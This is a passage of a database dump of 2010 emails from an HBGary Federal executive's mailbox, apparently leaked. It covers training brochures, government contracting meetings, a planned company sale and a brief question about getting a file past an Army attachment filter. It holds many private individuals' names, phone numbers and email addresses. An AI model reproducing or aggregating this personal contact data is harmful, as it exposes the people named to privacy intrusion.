ted@hbgary.com\r\n\r\n',10427,'aaron_hbgary_com/10427.html'),(9696,'2010-08-04','\"Brian Coulson\" <bcoulson@digitalglobe.com>','/aaron@hbgary.com/new/1297007638.M144305P14101Q4551.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Online Training','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nHi! Thank you for the opportunity to attend! Yes, that would be\r\nwonderful!\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\nBrian Coulson\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, August 04, 2010 2:02 PM\r\nTo: Brian Coulson\r\nCc: Barr Aaron\r\nSubject: Online Training\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Brian,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\'re taking our Social Media training and developing an\r\nonline class. &nbsp;The class will be lead by a live instructor, and will\r\naccommodate up to 25 students. &nbsp;We plan to do a pilot class late next week\r\nor the week after. &nbsp;Would you be interested in attending, free of charge?\r\n&nbsp;The pilot will be a 2-hr abbreviated version of the Executive (4hr)\r\nclass. &nbsp;The goal is to fully test the online training environment and\r\nsolicit feedback on the entire experience and training materials.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nInterested?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nThis electronic communication and any attachments may contain confidential and proprietary \r\ninformation of DigitalGlobe, Inc. If you are not the intended recipient, or an agent or employee \r\nresponsible for delivering this communication to the intended recipient, or if you have received \r\nthis communication in error, please do not print, copy, retransmit, disseminate or \r\notherwise use the information. Please indicate to the sender that you have received this \r\ncommunication in error, and delete the copy you received. DigitalGlobe reserves the \r\nright to monitor any electronic communication sent or received by its employees, agents \r\nor representatives.\r\n\r\n\r\n\r\n',2879,'aaron_hbgary_com/2879.html'),(9697,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007638.M357501P14101Q4552.eml','\"David Gerulski\" <dgerulski@endgames.us>,\"David Gerulski\" <dgerulski@endgames.us>','malwaredomainlist.com','Are you familiar with this site? http://www.malwaredomainlist.com/mdl.phpDoes EndGames have similar data in its databases? If so, Aaron (cc&#39;d) has some ideas on how it could be used.\r\n-- Ted\r\n\r\n',12197,'aaron_hbgary_com/12197.html'),(9698,'2010-08-04','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297007638.M575254P14101Q4553.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Davin Hattaway, CAE and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsAugust 4, 2010\r\n    AFCEA NOVA\r\n    \r\n        Latest:\r\n\r\n            &bull;\r\n\r\n            1 discussion\r\n\r\n            &bull;\r\n\r\n             1 Job\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n  \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Monthly Table Holder Sponsorships are now on sale! Become a 2010-2011 Table Sponsor at www.afceanova.org/corporate\r\n        Add a comment  &raquo;\r\n      \r\n\r\n        Started by Davin Hattaway, CAE, Association Manager and Nonprofit IT Solution Developer\r\n        \r\n          \r\n	              Nail down your team\'s networking for the entire next year! Hands-down, the AFCEA NOVA luncheons are the best networking event in town for...\r\n	                    More &raquo;\r\n                By Davin Hattaway, CAE, Association Manager and Nonprofit IT Solution Developer\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           Configuration Management Specialist needed in Suitland MD-Must be a U.S. Citizen to apply!\r\n           Add a comment  &raquo;\r\n\r\n         Posted by Nari Kang, Marketing &amp; Social Media Professional\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 70 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\n&nbsp;\r\n\r\n\r\n',13514,'aaron_hbgary_com/13514.html'),(9699,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007639.M758852P14101Q4554.eml','\"Barr Aaron\" <aaron@hbgary.com>','Training Brochure','I&#39;m working on the training brochure with pricing and sign up instructions...\r\n\r\n',10708,'aaron_hbgary_com/10708.html'),(9700,'2010-08-04','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007640.M266411P14101Q4556.eml','\"Aaron Barr\" <aaron@hbgary.com>','Canceled Event: Doug Maughan / Dale Beauchamp --review of Acquisition 	opt... @ Tue Aug 10 2pm - 3pm (aaron@hbgary.com)','This event has been canceled and removed from your calendar.Doug Maughan / Dale Beauchamp --review of  Acquisition options available to TSAAgenda\r\n\r\nTSA requirements for Active Defense &amp; Review of current Acquisitions Process\r\nAlternative acquisition vehicles available to TSA \r\n\r\nDoug Maughan -- DHS Science &amp; Technology Program Manager\r\nDale Beauchamp - TSA Branch Chief Digital Forensics\r\n\r\nWhenTue Aug 10 2pm – 3pm Eastern TimeWhere1120 Vermont Ave NW, Washington DC 20005 (map)Calendaraaron@hbgary.comWho&#x2022;maria@hbgary.com - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for cancellations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',3281,'aaron_hbgary_com/3281.html'),(9701,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007640.M27436P14101Q4555.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Training Brochure','I like it.  Change use cases to social reconnaissance or social recon \r\n\r\nSent from my iPhone\r\n\r\nOn Aug 4, 2010, at 5:00 PM, Ted Vera  wrote:\r\n\r\n> I\'m working on the training brochure with pricing and sign up instructions...\r\n> \r\n> \r\n> \r\n> \r\n',4273,'aaron_hbgary_com/4273.html'),(9702,'2010-08-04','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007640.M543123P14101Q4557.eml','\"Berndt, Luke\" <Luke.Berndt@dhs.gov>,\"Maughan, Douglas\" <douglas.maughan@dhs.gov>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Rescheduling meeting with TSA','Dale at TSA is involved in an incident.  He asked if we could touch base again next week and hopefully he will be able to check his calendar then.\r\n \r\nI&#39;ll let you know...-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',10621,'aaron_hbgary_com/10621.html'),(9703,'2010-08-04','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297007640.M774009P14101Q4558.eml','dev@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>','New DDNA Project','Team,This is FYI (no action required).  I obtained an archive of 1031 files that got 0 AV detection on VT at the time of submission.  I have given them to Ted to run though the TMC.  My goal is gauge our DDNA accuracy.  It&#39;s just a little side project that I hope benefits us all.  I plan on pulling some trait requirements out of them once I &#39;Escape From New York&#39;.\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',7007,'aaron_hbgary_com/7007.html'),(9704,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007644.M343439P14101Q4559.eml','\"Barr Aaron\" <aaron@hbgary.com>','almost done...','Getting there, need more details about the course and the instructor.  I&#39;ll grab some stuff off your bio.-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',5145,'aaron_hbgary_com/5145.html'),(9705,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007652.M29707P14101Q4560.eml','\"Barr Aaron\" <aaron@hbgary.com>','SM Training','Attached in Pages format-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',4689,'aaron_hbgary_com/4689.html'),(9706,'2010-08-04','\"Bray, James H CIV USA TRADOC\" <james.bray@us.army.mil>','/aaron@hbgary.com/new/1297007652.M297365P14101Q4561.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: [AKO Content Warning - Attachments] Social Media Presentation (UNCLASSIFIED)','Classification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nGot it.\r\n\r\nThanks,\r\nJim\r\n\r\nv/r\r\n\r\n \r\n\r\nJames H. Bray\r\n\r\nChief, Functional Training Branch\r\n\r\nOffice - (520) 533-0527\r\n\r\nDSN - 821-0527\r\n\r\nBlackberry - (520) 223-3669\r\n\r\nFax - (520) 538-7921\r\n\r\nNIPR: james.bray@us.army.mil\r\n\r\nSIPR: james.bray@us.army.smil.mil\r\n\r\n \r\n\r\n \r\n\r\nThis communication contains information intended for the use of the\r\nindividual or entity to which it is addressed and may contain\r\ninformationthat is privileged and/or confidential. If you are not the\r\nintended recipient or an employee or agent responsible for delivering this\r\ncommunication to the intended recipient, you are hereby notified that any\r\ndisclosure, copying, distribution, or use of its contents is prohibited. If\r\nyou have received this communication in error, please notify me\r\nimmediatelyby telephone at (520) 533-0527, return the original communication\r\nby reply e-mail, and permanently delete the communication from your system.\r\nThank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 9:10 AM\r\nTo: Bray, James H CIV USA TRADOC\r\nSubject: Re: [AKO Content Warning - Attachments] Social Media Presentation\r\n(UNCLASSIFIED)\r\n\r\nrgr. tks.  I just sent you your alternate account.\r\n\r\nAaron\r\n\r\nOn Aug 4, 2010, at 12:01 PM, Bray, James H CIV USA TRADOC wrote:\r\n\r\n> Classification: UNCLASSIFIED\r\n> Caveats: FOUO\r\n> \r\n> Usually it will and then can be renamed.\r\n> \r\n> Jim\r\n> \r\n> v/r\r\n> \r\n> \r\n> \r\n> James H. Bray\r\n> \r\n> Chief, Functional Training Branch\r\n> \r\n> Office - (520) 533-0527\r\n> \r\n> DSN - 821-0527\r\n> \r\n> Blackberry - (520) 223-3669\r\n> \r\n> Fax - (520) 538-7921\r\n> \r\n> NIPR: james.bray@us.army.mil\r\n> \r\n> SIPR: james.bray@us.army.smil.mil\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> This communication contains information intended for the use of the\r\n> individual or entity to which it is addressed and may contain\r\n> informationthat is privileged and/or confidential. If you are not the\r\n> intended recipient or an employee or agent responsible for delivering this\r\n> communication to the intended recipient, you are hereby notified that any\r\n> disclosure, copying, distribution, or use of its contents is prohibited.\r\nIf\r\n> you have received this communication in error, please notify me\r\n> immediatelyby telephone at (520) 533-0527, return the original\r\ncommunication\r\n> by reply e-mail, and permanently delete the communication from your\r\nsystem.\r\n> Thank you.\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 8:56 AM\r\n> To: Bray, James H CIV USA TRADOC\r\n> Subject: Re: [AKO Content Warning - Attachments] Social Media Presentation\r\n> (UNCLASSIFIED)\r\n> \r\n> Thanks.  I will resend.  As a point of interest what would happen if I\r\n> renamed the file to something not on the below list?  Would it pass\r\nthrough?\r\n> \r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Aug 4, 2010, at 11:19 AM, \"Bray, James H CIV USA TRADOC\"\r\n>  wrote:\r\n> \r\n>> Classification: UNCLASSIFIED\r\n>> Caveats: FOUO\r\n>> \r\n>> Aaron,\r\n>>   The Army firewall stripped off the .zip attachment.  If you have to\r\n> send \r\n>> it as a zip please use jhbray62@ssvecnet.com\r\n>> \r\n>> Thanks,\r\n>> \r\n>> Jim\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, August 03, 2010 2:58 PM\r\n>> To: Bray, James H CIV USA TRADOC\r\n>> Subject: [AKO Content Warning - Attachments] Social Media Presentation\r\n>> \r\n>> James,\r\n>> \r\n>> I last gave this presentation at the NSA REBL Conference.  Let me know if\r\n> you \r\n>> don\'t get the attachment, it being a large zip file and all.\r\n>> \r\n>> Classification: UNCLASSIFIED\r\n>> Caveats: FOUO\r\n>> \r\n>> \r\n>> The sender of the message sent the following file that is not allowed by\r\n> NETCOM 2004-11A guidance: Social Media.ppt.zip .\r\n>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> The sender of the message sent file(s) that are not allowed by NETCOM\r\n> 2004-11A. You may see the names of the files that were removed by opening\r\n> the text attachments that replaced the removed attachments.\r\n>> \r\n>> In accordance with NETCOM guidance 2004-11A,\r\n>> AKO has begun stripping files with the following extensions: \r\n>> .ace, .ad, .ade, .adp, .asp, .b64, .bas, .bat, .bhx, .ceo, \r\n>> .ce0, .chm, .com, .cmd, .cpl, .crt,  .dbx, .dll, .dot, .eml, .exe,\r\n>> .hlp, .hqx,  .hta, .inf, .ins, .js, .jse,  .lnk, .mdb, .mde, .mim, .msi, \r\n>> .msp, .nch, .ocx,  .pi, .pif, .rar, .reg, .scr, .sct, .shb, .shs, .upx,\r\n> .url\r\n>> .uue,  .uu, .vbe, .vbs, .vss, .vst, .vsw, .wmi, .ws, .wsc, .wsf,\r\n>> .wsh, .xxe, and .zip.\r\n>> \r\n>> Since this is an Army policy, AKO will not be able to grant exceptions. \r\n>> \r\n>> You may view the NETCOM guidance at\r\n> https://www.us.army.mil/suite/doc/7190255 \r\n>> \r\n>> The guidance includes instructions on how the sender should send the\r\nfiles\r\n> that are restricted.\r\n> Classification: UNCLASSIFIED\r\n> Caveats: FOUO\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n',7737,'aaron_hbgary_com/7737.html'),(9707,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007652.M516978P14101Q4562.eml','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','Re: Meeting with Bill','I do thanks.\r\n\r\nOn Aug 4, 2010, at 2:50 PM, Briggs, Dana M wrote:\r\n\r\n> Got it.  Do you remember how to get here or shall I send you directions?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 2:48 PM\r\n> To: Briggs, Dana M\r\n> Subject: Re: Meeting with Bill\r\n> \r\n> Just me.\r\n> \r\n> On Aug 4, 2010, at 2:45 PM, Briggs, Dana M wrote:\r\n> \r\n>> Sure thing.  Will you be bringing anyone else?  I just need a\r\n> headcount\r\n>> so I know if I need to book a Conference Room.  \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Wednesday, August 04, 2010 2:36 PM\r\n>> To: Briggs, Dana M\r\n>> Subject: Re: Meeting with Bill\r\n>> \r\n>> How about 11am on 8/11.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Aug 4, 2010, at 2:19 PM, Briggs, Dana M wrote:\r\n>> \r\n>>> Hi Aaron,\r\n>>> \r\n>>> Bill is available the following times next week for a one hour\r\n> meeting\r\n>>> here in his Herndon office:\r\n>>> \r\n>>> Wed. 8/11 \r\n>>> 11am \r\n>>> 2pm or after\r\n>>> \r\n>>> Thurs. 8/12\r\n>>> 2pm or after\r\n>>> \r\n>>> Let me know if any of those times work for you and I will send you an\r\n>>> appointment through Outlook. \r\n>>> \r\n>>> Thank you,\r\n>>> \r\n>>> Dana M. Briggs\r\n>>> Executive Assistant to\r\n>>> L. William Varner, President\r\n>>> Mission, Cyber & Technology Solutions Group\r\n>>> ManTech International Corporation\r\n>>> 2250 Corporate Park Drive, Suite 500\r\n>>> Herndon, VA 20171 \r\n>>> (703) 674-2626 - phone\r\n>>> (571) 485-2362 - e-fax\r\n>>> Dana.Briggs@ManTech.com\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Wednesday, August 04, 2010 8:51 AM\r\n>>> To: Briggs, Dana M\r\n>>> Subject: Meeting with Bill\r\n>>> \r\n>>> Hi Dana,\r\n>>> \r\n>>> I spoke with Bill yesterday about getting together to discuss some\r\n>>> business opportunities.  Could you find an open spot in his calendar?\r\n>>> \r\n>>> Thanks,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8128,'aaron_hbgary_com/8128.html'),(9708,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007654.M715228P14101Q4563.eml','\"Burroughs, Lynda R\" <Lynda.Burroughs@ManTech.com>,\"Burroughs, Lynda R\" <Lynda.Burroughs@ManTech.com>,','Re: TSA Opportunity','Lynda,\r\n\r\nIt was great talking with you.  Attached find the SOW.  If the time is ok I will send a meeting notice for 3:30pm tomorrow to discuss.  Also I have CC\'d John Fanguy from DMI who is leading the capture for this effort.\r\n\r\nAaron\r\n\r\n',6189,'aaron_hbgary_com/6189.html'),(9709,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007654.M993065P14101Q4564.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,','Re: New DDNA Project','LOL. &nbsp;The picture adds a lot.Hopefully we get some good results.AaronOn Aug 4, 2010, at 5:58 PM, Phil Wallisch wrote:Team,This is FYI (no action required).&nbsp; I obtained an archive of 1031 files that got 0 AV detection on VT at the time of submission.&nbsp; I have given them to Ted to run though the TMC.&nbsp; My goal is gauge our DDNA accuracy.&nbsp; It\'s just a little side project that I hope benefits us all.&nbsp; I plan on pulling some trait requirements out of them once I \'Escape From New York\'.\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:&nbsp; https://www.hbgary.com/community/phils-blog/\r\n\r\n&lt;topten-plissken.jpg&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11706,'aaron_hbgary_com/11706.html'),(9710,'2010-08-04','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297007655.M202008P14101Q4565.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Lunch at Palantir @ Thu Aug 5 12pm - 1pm 	(msteckman@palantirtech.com)','',1344,'aaron_hbgary_com/1344.html'),(9711,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007655.M409364P14101Q4566.eml','\"Barr Aaron\" <aaron@hbgary.com>','Art','Can you ask the graphics guy to send the file in its native format.  In addition, please send the images as vector graphic files, including the logo.\r\n',15078,'aaron_hbgary_com/15078.html'),(9712,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007655.M645035P14101Q4567.eml','\"John Verducci\" <john@studioem.com>','Fwd: Art','Hi John,Thanks again for the artwork and datasheet. &nbsp;Can you satisfy the following request?AaronBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: August 4, 2010 6:40:06 PM EDTTo: Barr Aaron &lt;aaron@hbgary.com&gt;Subject: ArtCan you ask the graphics guy to send the file in its native format. &nbsp;In addition, please send the images as vector graphic files, including the logo.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5827,'aaron_hbgary_com/5827.html'),(9713,'2010-08-04','john@studioem.com','/aaron@hbgary.com/new/1297007655.M859379P14101Q4568.eml','aaron@hbgary.com','[Auto-Reply] Fwd: Art','I will be out of the office with limited access to email until Monday, August 9. I will do my best to reply to your request upon my return.\r\n\r\nThank you and sorry for any inconvenience.\r\n\r\nJohn Verducci\r\n\r\n',14622,'aaron_hbgary_com/14622.html'),(9714,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007656.M123313P14101Q4569.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: [Auto-Reply] Fwd: Art','Begin forwarded message:From: john@studioem.comDate: August 4, 2010 6:41:14 PM EDTTo: aaron@hbgary.comSubject: [Auto-Reply] Fwd: ArtI will be out of the office with limited access to email until Monday, August 9. I will do my best to reply to your request upon my return.Thank you and sorry for any inconvenience.John Verducci\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5273,'aaron_hbgary_com/5273.html'),(9715,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007656.M354834P14101Q4570.eml','\"Penny Leavy\" <penny@hbgary.com>','Was it Mark McGovern','that you didn\'t much care for?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2667,'aaron_hbgary_com/2667.html'),(9716,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007656.M578952P14101Q4571.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: [Auto-Reply] Fwd: Art','NP, we can wait.  We can work with what we have, but vector would be much better...On Wed, Aug 4, 2010 at 4:41 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nBegin forwarded message:\r\nFrom: john@studioem.com\r\nDate: August 4, 2010 6:41:14 PM EDT\r\nTo: aaron@hbgary.com\r\nSubject: [Auto-Reply] Fwd: Art\r\nI will be out of the office with limited access to email until Monday, August 9. I will do my best to reply to your request upon my return.Thank you and sorry for any inconvenience.John Verducci\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',2772,'aaron_hbgary_com/2772.html'),(9717,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007656.M769089P14101Q4572.eml','\"Ted Vera\" <ted@hbgary.com>','2 things','ManTech won FBI ESOC.\r\n\r\nand Penny hired a broker.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5864,'aaron_hbgary_com/5864.html'),(9718,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007656.M970190P14101Q4573.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: 2 things','That sucks.What kind of broker?On Wed, Aug 4, 2010 at 4:45 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nManTech won FBI ESOC.\r\n\r\nand Penny hired a broker.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',7116,'aaron_hbgary_com/7116.html'),(9719,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007657.M174607P14101Q4574.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: 2 things','A business broker to sell the company?On Wed, Aug 4, 2010 at 4:45 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nManTech won FBI ESOC.\r\n\r\nand Penny hired a broker.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',6667,'aaron_hbgary_com/6667.html'),(9720,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007657.M394095P14101Q4575.eml','\"Ted Vera\" <ted@hbgary.com>','Re: 2 things','Yes.And I am going to try and turn the TSA work into a quid pro quo when I meet with them tomorrow.I bring them on to a deal that gets them 20% of 190M I should get a few slots on FBI ESOC.... :)AaronOn Aug 4, 2010, at 6:52 PM, Ted Vera wrote:A business broker to sell the company?On Wed, Aug 4, 2010 at 4:45 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nManTech won FBI ESOC.\r\n\r\nand Penny hired a broker.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary FederalOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623www.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5255,'aaron_hbgary_com/5255.html'),(9721,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007657.M600250P14101Q4576.eml','\"Ted Vera\" <ted@hbgary.com>','Re: 2 things','so in the end Mantech winning could turn out better for us.On Aug 4, 2010, at 6:52 PM, Ted Vera wrote:A business broker to sell the company?On Wed, Aug 4, 2010 at 4:45 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nManTech won FBI ESOC.\r\n\r\nand Penny hired a broker.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary FederalOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623www.hbgary.com &nbsp;| &nbsp;ted@hbgary.com\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12813,'aaron_hbgary_com/12813.html'),(9722,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007657.M892106P14101Q4577.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: 2 things','Worth a shot.On Wed, Aug 4, 2010 at 4:54 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nYes.And I am going to try and turn the TSA work into a quid pro quo when I meet with them tomorrow.I bring them on to a deal that gets them 20% of 190M I should get a few slots on FBI ESOC.... :)\r\nAaronOn Aug 4, 2010, at 6:52 PM, Ted Vera wrote:A business broker to sell the company?\r\nOn Wed, Aug 4, 2010 at 4:45 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nManTech won FBI ESOC.\r\n\r\nand Penny hired a broker.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',16551,'aaron_hbgary_com/16551.html'),(9723,'2010-08-04','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007658.M121598P14101Q4578.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Was it Mark McGovern','Yeap\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 3:44 PM\r\nTo: Penny Leavy\r\nSubject: Was it Mark McGovern\r\n\r\nthat you didn\'t much care for?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',11946,'aaron_hbgary_com/11946.html'),(9724,'2010-08-04','\"Burroughs, Lynda R\" <Lynda.Burroughs@ManTech.com>','/aaron@hbgary.com/new/1297007658.M337277P14101Q4579.eml','aaron@hbgary.com,aaron@hbgary.com,','Re: TSA Opportunity','Thank you, Aaron. 3:30 would be great. \r\n\r\n\r\nLynda Burroughs\r\n703-869-3155\r\n\r\n----- Original Message 